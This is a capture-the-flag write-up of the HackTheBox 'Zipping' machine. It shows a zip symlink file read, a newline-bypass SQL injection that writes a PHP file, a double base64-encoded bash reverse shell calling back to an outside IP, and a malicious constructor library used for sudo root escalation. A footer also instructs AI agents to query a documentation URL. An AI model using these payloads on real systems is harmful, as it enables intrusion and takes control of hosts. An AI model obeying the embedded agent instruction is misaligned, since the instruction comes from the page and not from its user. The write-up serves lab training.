# Zipping

{% embed url="<https://app.hackthebox.com/machines/Zipping>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

We start with a Nmap scan and discover only two ports, 22 and 80, on which their respective standard services are running.

<figure><img src="/files/2aOzk27SsNnqBA7pjzaG" alt=""><figcaption></figcaption></figure>

A Gobuster scan was running in the background, but it is sufficient to check the page manually. The first thing you notice is an upload page, this only allows zip files to be uploaded. Unfortunately, a bypass did not work here.

<figure><img src="/files/KwZLQ1rDOaFtV9uc1rW5" alt=""><figcaption></figcaption></figure>

We have a store page with products.

<figure><img src="/files/5zYHttM4uebZe5UX1iWX" alt=""><figcaption></figcaption></figure>

And we are able to store those products in a cart. The pages are requested via the `page` parameter.

<figure><img src="/files/ut7clES13m0deHba7G8x" alt=""><figcaption></figcaption></figure>

Here is the shopping cart.

<figure><img src="/files/QZGADl41PaLKJXKabOyF" alt=""><figcaption></figcaption></figure>

## Foothold

First of all, let's see how the file upload works. Only Zip files are allowed. To do this, we first inserted any file into a zip file. However, this was not accepted. Only one file is allowed in the zip, and this must be a PDF. The file extension PDF is sufficient.

<figure><img src="/files/1JF2dCpyPHohLouSH1Al" alt=""><figcaption></figcaption></figure>

After we have uploaded a zip containing a PDF, we see that it is unzipped, and the link to the upload directory is provided. The first idea was to upload a PHP reverse shell instead of a PDF by bypassing the file extension inside the zip with a null byte, but that didn't work. This was probably an unintended path and was patched.

<figure><img src="/files/KGkf3GgaAEUdBc5qf4Mt" alt=""><figcaption></figcaption></figure>

After a short period of research, a vulnerability is found that takes effect here. A file upload attack, which is described in more detail below. This uses symlinks that are resolved during unpacking in order to access any files on the system.

{% embed url="<https://secops.group/anatomy-of-a-file-upload-attack/>" %}

> #### **What Is Symlink?**
>
> A Symlink (also called a symbolic link) is a type of file in Linux that points to another file or a folder on your system. Symlinks are similar to shortcuts in Windows.

> #### **What Is ZIP Symlink Vulnerability?**
>
> An archive can contain a symbolic link. A symbolic link is a special file that links to another file. By uploading a ZIP containing a symbolic link, and after the ZIP is extracted, you can access the symbolic link to gain access to files that should not be accessible otherwise. To do so, you need to get your symbolic link to point to files outside of the web root, for example “/etc\passwd”.
>
> These types of issues are typically found when a developer allows ZIP files in the upload functionality. When a user uploads the malicious ZIP file in the application then it simply takes the ZIP file and extracts it without any further validations.

We test the whole thing with the `/etc/passwd` file. We create the symlink and pack it into the zip file. The parameter `--symlinks` is important here.

<figure><img src="/files/NgesBIGH21mHmylT1u7H" alt=""><figcaption></figcaption></figure>

We intercept the request to the PDF file and are able to read the file of `/etc/passwd` in Burp Suite.

<figure><img src="/files/39XWerZPo6ItHPES6Yry" alt=""><figcaption></figcaption></figure>

Ok, we can't do much with it yet. Let's first look at the sources of the PHP pages. The `cart.php` file is of interest here. Especially when adding items to the cart.

<figure><img src="/files/sv3EjoDmqWisvXXnRFpq" alt=""><figcaption></figcaption></figure>

Let's retrieve the `cart.php` file after it gets successfully uploaded.

<figure><img src="/files/M87WLCaF5n1o6cvtwDRE" alt=""><figcaption></figcaption></figure>

Again, we intercept the request.

<figure><img src="/files/kgc9KQvsIjG9DutmQzkQ" alt=""><figcaption></figcaption></figure>

In line 8 we see that the `product_id` is validated using `preg_match`. Without that, we would be able to inject sql.

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#preg_match>" %}

> It checks if any word/regex from a blacklist is present on the user input and if it's not, the code can continue it's execution. To bypass this check you could **send the value with new-lines urlencoded** (`%0A`).&#x20;

From there we should be able to inject arbritrary PHP code.

{% code title="cart.php" lineNumbers="true" %}

```php
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
    // Set the post variables so we easily identify them, also make sure they are integer
    $product_id = $_POST['product_id'];
    $quantity = $_POST['quantity'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
        echo '';
    } else {
        // Construct the SQL statement with a vulnerable parameter
        $sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
        // Execute the SQL statement without any sanitization or parameter binding
        $product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if ($product && $quantity > 0) {
            // Product exists in database, now we can create/update the session variable for the cart
            if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
                if (array_key_exists($product_id, $_SESSION['cart'])) {
                    // Product exists in cart so just update the quanity
                    $_SESSION['cart'][$product_id] += $quantity;
                } else {
                    // Product is not in cart so add it
                    $_SESSION['cart'][$product_id] = $quantity;
                }
            } else {
                // There are no products in cart, this will add the first product to cart
                $_SESSION['cart'] = array($product_id => $quantity);
            }
        }
        // Prevent form resubmission...
        header('location: index.php?page=cart');
        exit;
    }
}

// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {

    // Remove the product from the shopping cart
    unset($_SESSION['cart'][$_GET['remove']]);
}

// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {
    // Loop through the post data so we can update the quantities for every product in cart
    foreach ($_POST as $k => $v) {
        if (strpos($k, 'quantity') !== false && is_numeric($v)) {
            $id = str_replace('quantity-', '', $k);
            $quantity = (int)$v;
            // Always do checks and validation
            if (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {
                // Update new quantity
                $_SESSION['cart'][$id] = $quantity;
            }
        }
    }
    // Prevent form resubmission...
    header('location: index.php?page=cart');
    exit;
}

// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {
    header('Location: index.php?page=placeorder');
    exit;
}

if (isset($_POST['clear'])) {
	unset($_SESSION['cart']);
}

// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {
    // There are products in the cart so we need to select those products from the database
    // Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)
    $array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));
    $stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');
    // We only need the array keys, not the values, the keys are the id's of the products
    $stmt->execute(array_keys($products_in_cart));
    // Fetch the products from the database and return the result as an Array
    $products = $stmt->fetchAll(PDO::FETCH_ASSOC);
    // Calculate the subtotal
    foreach ($products as $product) {
        $subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];
    }
}
?>

<?=template_header('Zipping | Cart')?>

<div class="cart content-wrapper">
    <h1>Shopping Cart</h1>
    <form action="index.php?page=cart" method="post">
        <table>
            <thead>
                <tr>
                    <td colspan="2">Product</td>
                    <td>Price</td>
                    <td>Quantity</td>
                    <td>Total</td>
                </tr>
            </thead>
            <tbody>
                <?php if (empty($products)): ?>
                <tr>
                    <td colspan="5" style="text-align:center;">You have no products added in your Shopping Cart</td>
                </tr>
                <?php else: ?>
                <?php foreach ($products as $product): ?>
                <tr>
                    <td class="img">
                        <a href="index.php?page=product&id=<?=$product['id']?>">
                            <img src="assets/imgs/<?=$product['img']?>" width="50" height="50" alt="<?=$product['name']?>">
                        </a>
                    </td>
                    <td>
                        <a href="index.php?page=product&id=<?=$product['id']?>"><?=$product['name']?></a>
                        <br>
                        <a href="index.php?page=cart&remove=<?=$product['id']?>" class="remove">Remove</a>
                    </td>
                    <td class="price">&dollar;<?=$product['price']?></td>
                    <td class="quantity">
                        <input type="number" name="quantity-<?=$product['id']?>" value="<?=$products_in_cart[$product['id']]?>" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
                    </td>
                    <td class="price">&dollar;<?=$product['price'] * $products_in_cart[$product['id']]?></td>
                </tr>
                <?php endforeach; ?>
                <?php endif; ?>
            </tbody>
        </table>
        <div class="subtotal">
            <span class="text">Subtotal</span>
            <span class="price">&dollar;<?=$subtotal?></span>
        </div>
        <div class="buttons">
            <input type="submit" value="Update" name="update">
            <input type="submit" value="Place Order" name="placeorder">
	    <input type="submit" value="Clear" name="clear" onsubmit="">
        </div>
    </form>
</div>

<?=template_footer()?>
```

{% endcode %}

Let's try to write a PHP reverse shell on the system and call it.&#x20;

{% embed url="<https://mariadb.com/kb/en/select-into-outfile/>" %}

To do this, it must be located at `/www/var/html/shop`. Unfortunately, this did not work, and we have to switch to another directory. We write our file to `/var/lib/mysql/`, here we seem to have write permissions. To test, we simply query the version.

In order to execute our query, we intercept the add-to-cart request and inject our code into the `product_id`.

```
%0a'%3bselect+@@version++into+outfile+'/var/lib/mysql/version.php'%3b --1
```

<figure><img src="/files/Jd2giui1BU6CGstI5fq2" alt=""><figcaption></figcaption></figure>

After we have submitted our request, we call up the following resource `/shop/index.php?page=/var/lib/mysql/version` and see that we have been successful. The database version is revealed.

<figure><img src="/files/rxs8XyBwg0Hxlvyf3ahv" alt=""><figcaption></figcaption></figure>

Ok, on to the reverse shell. The first approach was to simply base64 encode the Pentest Monkey reverse shell, slightly adapt the last line so that no special characters could be misinterpreted when decoding the URL and write its content to the target file via `select` `from_base64`. Unfortunately, this did not work. Instead, we use `exec()` and execute a simple reverse shell `/bin/bash -i >& /dev/tcp/10.10.14.170/4445 0>&1`. We need to double base64 encode the simple reverse shell to remove the special characters like `+`.

Double base64-encoded reverse shell:

```
TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFd0xqRTBMakUzTUM4ME5EUTFJREErSmpFPQ==
```

PHP page, executing the double base64-encoded reverse shell:

```
<?php exec("echo TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFd0xqRTBMakUzTUM4ME5EUTFJREErSmpFPQ==| base64 -d | base64 -d | bash");?>
```

Encoded PHP page:

```
PD9waHAgZXhlYygiZWNobyBUREpLY0dKcE9XbFpXRTV2U1VNeGNFbEVORzFKUXpscldsaFpkbVJIVG5kTWVrVjNUR3BGZDB4cVJUQk1ha1V6VFVNNE1FNUVVVEZKUkVFclNtcEZQUT09fCBiYXNlNjQgLWQgfCBiYXNlNjQgLWQgfCBiYXNoIik7Pz4
```

Payload writing the encoded PHP page plain into `/var/lib/mysql/x.php`.

```
%0a'%3bselect+from_base64("PD9waHAgZXhlYygiZWNobyBUREpLY0dKcE9XbFpXRTV2U1VNeGNFbEVORzFKUXpscldsaFpkbVJIVG5kTWVrVjNUR3BGZDB4cVJUQk1ha1V6VFVNNE1FNUVVVEZKUkVFclNtcEZQUT09fCBiYXNlNjQgLWQgfCBiYXNlNjQgLWQgfCBiYXNoIik7Pz4=")++into+outfile+'/var/lib/mysql/x.php'%3b --1
```

<figure><img src="/files/MG7CFSesKJKZ0I7euj8A" alt=""><figcaption></figcaption></figure>

After we have uploaded the reverse shell, we access it via `http://zipper.htb/shop/index.php?page=/var/lib/mysql/x` while a netcat listener is running in the background. The reverse shell connects, and we are the user `rektsu`.

<figure><img src="/files/26WpgiuPOr93oPfZDzkd" alt=""><figcaption></figcaption></figure>

We find the first flag in his home directory. It would already be possible to access this using the file symlink disclousure via zip.

<figure><img src="/files/8iPGAls0pjUWTstvk5px" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

Using `sudo -l`, we find out that the user can execute `/usr/bin/stock` with elevated permissions without providing the password of `rektsu`.

<figure><img src="/files/VR4V46aB3VH8cKDSUbiV" alt=""><figcaption></figcaption></figure>

However, the application itself requires a password. The password is hard-coded and can be quickly determined via strings.

<figure><img src="/files/x2pfqEXkMbD9awKt9wcH" alt=""><figcaption></figcaption></figure>

When executing, we see that we can VIEW or EDIT stocks. Nothing special at first glance.

Let's take a look at the application during execution.

`strace sudo /usr/bin/stock`

We see that after entering the password, the shared library `/home/rektsu/.config/libcounter.so` is included. However, we cannot find the file there. So we can create one ourselves that opens a root shell, since we can call the application using sudo.

<figure><img src="/files/ONJ2CHgua7WUPXfBJZWB" alt=""><figcaption></figcaption></figure>

We craft a simple shared library with attribute `__attribute__((constructor))`, which uses the `system` function to execute the command `bash -p` at program startup.

```c
#include <unistd.h>

static void inject() __attribute__((constructor));

void inject (void) {
    system("bash -p");
}
```

We compile it, and after executing `/usr/bin/stock`, we are root.

`gcc -shared -o libcounter.so -fPIC libcounter.c`

<figure><img src="/files/lKOVZ3nal4M8qnJdBhAS" alt=""><figcaption></figcaption></figure>

The final flag can then be found in `/root/root.txt`.

<figure><img src="/files/6fQKSKYnG4SBC5S8wadL" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/hackthebox/2024/zipping.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
